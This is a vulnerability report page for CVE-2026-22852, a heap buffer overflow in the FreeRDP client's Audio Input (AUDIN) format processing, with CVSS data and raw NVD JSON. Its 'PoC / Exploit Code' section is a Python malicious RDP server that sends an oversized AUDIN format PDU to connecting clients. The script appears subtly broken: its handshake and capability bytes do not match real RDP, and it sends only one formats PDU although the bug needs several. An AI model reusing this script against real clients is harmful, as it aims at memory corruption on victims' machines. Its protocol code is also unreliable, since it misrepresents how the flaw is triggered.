Security Vulnerability Report
中文
CVE-2026-22852 CVSS 9.8 CRITICAL

CVE-2026-22852

Published: 2026-01-14 18:16:43
Last Modified: 2026-01-20 18:40:32

Description

FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a malicious RDP server can trigger a heap-buffer-overflow write in the FreeRDP client when processing Audio Input (AUDIN) format lists. audin_process_formats reuses callback->formats_count across multiple MSG_SNDIN_FORMATS PDUs and writes past the newly allocated formats array, causing memory corruption and a crash. This vulnerability is fixed in 3.20.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:* - VULNERABLE
FreeRDP < 3.20.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2026-22852 PoC - Malicious RDP Server # This PoC demonstrates the heap buffer overflow in FreeRDP's audin_process_formats # Target: FreeRDP < 3.20.1 import socket import struct import time def build_rdp_handshake(): """Build initial RDP handshake packet""" # RDP protocol handshake packet = b'\x03\x00' # T.123 marker length = 0x0e packet += struct.pack('>H', length) packet += b'\x01' # Client Core Data packet += b'\x00' * 11 return packet def build_mcs_connect_initial(): """Build MCS Connect Initial packet""" return b'\x03\x00\x00\x08\x02\xf0\x80' def build_server_cert(): """Build dummy server certificate""" return b'\x03\x00\x00\x10\x02\x00\x02\x00\x00\x00' def build_audin_server_caps(): """Build Audio Input Virtual Channel Capability with malicious format count""" # Capability set type for Audio Input (AUDIN) cap_type = 0x003C # Malicious format count - exceeds what client allocates malicious_count = 0xFFFF # Large number to trigger overflow cap_data = struct.pack('<HHI', cap_type, 8 + 4, malicious_count) return cap_data def send_malicious_audin_pdu(sock): """Send malicious Audio Input PDU to trigger heap overflow""" # Channel ID for AUDIN is typically 5 channel_id = 5 # Construct MSG_SNDIN_FORMATS with format count mismatch msg_type = 0x0005 # SNDIN_FORMATS format_count = 0x100 # Client allocates array for this count # Build PDU header pdu = struct.pack('<I', msg_type) # msgType pdu += struct.pack('<I', format_count) # formatCount (initial allocation size) # Malicious format list - exceeds allocated buffer # This triggers the overflow when client processes it malicious_formats = b'A' * (format_count * 32) # Overflow data pdu += malicious_formats # Virtual channel PDU header channel_pdu = struct.pack('<I', len(pdu) + 8) # length channel_pdu += struct.pack('<H', channel_id) # channelId channel_pdu += struct.pack('<H', 0) # flags channel_pdu += pdu sock.send(channel_pdu) return True def start_malicious_server(port=3389): """Start malicious RDP server""" server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server.bind(('0.0.0.0', port)) server.listen(1) print(f'[*] Malicious RDP server listening on port {port}') print('[*] Waiting for FreeRDP client connection...') try: conn, addr = server.accept() print(f'[*] Connection from {addr}') # Send standard RDP handshake conn.send(build_rdp_handshake()) time.sleep(0.5) # Send MCS connect response conn.send(build_mcs_connect_initial()) time.sleep(0.5) # Send capability sets including malicious AUDIN caps conn.send(build_audin_server_caps()) time.sleep(0.5) # Trigger the vulnerability print('[*] Sending malicious AUDIN PDU...') send_malicious_audin_pdu(conn) print('[+] Malicious payload sent') time.sleep(2) except Exception as e: print(f'[-] Error: {e}') finally: conn.close() server.close() if __name__ == '__main__': start_malicious_server()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22852", "sourceIdentifier": "[email protected]", "published": "2026-01-14T18:16:42.643", "lastModified": "2026-01-20T18:40:31.943", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.20.1, a malicious RDP server can trigger a heap-buffer-overflow write in the FreeRDP client when processing Audio Input (AUDIN) format lists. audin_process_formats reuses callback->formats_count across multiple MSG_SNDIN_FORMATS PDUs and writes past the newly allocated formats array, causing memory corruption and a crash. This vulnerability is fixed in 3.20.1."}, {"lang": "es", "value": "FreeRDP es una implementación gratuita del Protocolo de Escritorio Remoto. Anterior a la 3.20.1, un servidor RDP malicioso puede desencadenar una escritura de desbordamiento de búfer de pila (heap-buffer-overflow) en el cliente FreeRDP al procesar listas de formatos de Entrada de Audio (AUDIN). audin_process_formats reutiliza callback-&gt;formats_count a través de múltiples PDUs MSG_SNDIN_FORMATS y escribe más allá del array de formatos recién asignado, causando corrupción de memoria y un fallo. Esta vulnerabilidad está corregida en la versión 3.20.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freerdp:freerdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "3.20.1", "matchCriteriaId": "1C802721-4198-476F-AE9E-78457C1CE38B"}]}]}], "references": [{"url": "https://github.com/FreeRDP/FreeRDP/releases/tag/3.20.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-9chc-g79v-4qq4", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}